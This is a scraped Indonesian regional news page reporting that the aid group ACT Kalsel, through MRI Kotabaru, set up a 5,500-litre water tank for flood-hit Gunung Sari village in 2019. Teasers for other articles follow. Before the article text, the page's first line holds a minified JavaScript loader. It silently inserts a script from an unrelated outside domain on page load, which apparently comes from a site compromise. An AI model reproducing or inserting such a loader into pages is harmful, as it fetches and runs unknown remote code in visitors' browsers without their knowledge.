(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU, Pasca banjir surut yang menggenangi 9 rumah di RT 1 Desa Gunung Sari, Kabupaten Kotabaru, ternyata masih menyisakan permasalahan lain, yaitu terputusnya pasokan air bersih. Hal ini dikarenakan sebagian besar warga Gunung Sari sehari-hari bergantung pada jaringan air bersih milik swadaya masyarakat. Sementara pasca banjir besar Sabtu (8/6/2019) lalu jaringan air swadaya ini mengalami kerusakan dan diiperkirakan akan normal kembali setengah bulan kemudian.
Bergerak tanggap atas musibah tersebut, Aksi Cepat Tanggap (ACT) Kalsel melalui Masyarakat Relawan Indonesia (MRI) Kotabaru mengirimkan layanan air bersih untuk warga Gunung Sari. Senin (10/6) tadi tim dibantu aparat desa dan warga memasang jaringan layanan air bersih berupa tandon air kapasitas 5500 Liter. “Alhamdulillah kami dibantu donatur untuk membuat program layanan air bersih, yaitu warga Perumahan Pulau Laut dan Garbi Kotabaru,†ujar Hamas Al Qosam, Ketua MRI Kotabaru. “Bantuan ini untuk memenuhi kebutuhan air bersih warga terdampak banjir, pasokan air disediakan oleh PDAM Kotabaru,†tambahnya.
Selasa (11/6) air bersih mulai dinikmati warga. Siti Murah (60 tahun), seorang ibu rumah tangga di Desa Gunung Sari mengungkapkan kegembiraannya mendapati adanya bantuan air bersih tersebut. “Alhamdulillah senang sekali, bantuan ini sangat bermanfaat untuk kami, terima kasih ACT dan para donatur,†ucapnya girang. Sebagai ibu rumah tangga, air bersih tentu menjadi kebutuhan penting baginya. “Semoga para donatur mendapatkan kehidupan yang berkah,†imbuh Siti.
Lebih sepekan layanan air bersih telah menemani warga Desa Gunung Sari menjalani hari. Kebaikan dermawan turut menjawab persoalan air bersih di Kotabaru.
Kepala Cabang ACT Kalsel, Zainal Arifin mengapresiasi kolaborasi kebaikan yang terjalin. Mengingat dampak banjir juga menyebabkan waduk Tirawan jebol, Zainal menjelaskan bahwa ACT berikhtiar untuk tidak berhenti sampai di situ.
“Setelah Gunung Sari, rencana kami akan bergerak ke Desa Sigam, Desa Hilir, dan Desa Baharu untuk mendistribusikan air bersih,†terang Zainal. “Info yang kami dapatkan pasokan air di tiga desa tersebut belum normal akibat jebolnya waduk Tirawan,†ujarnya. (act)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.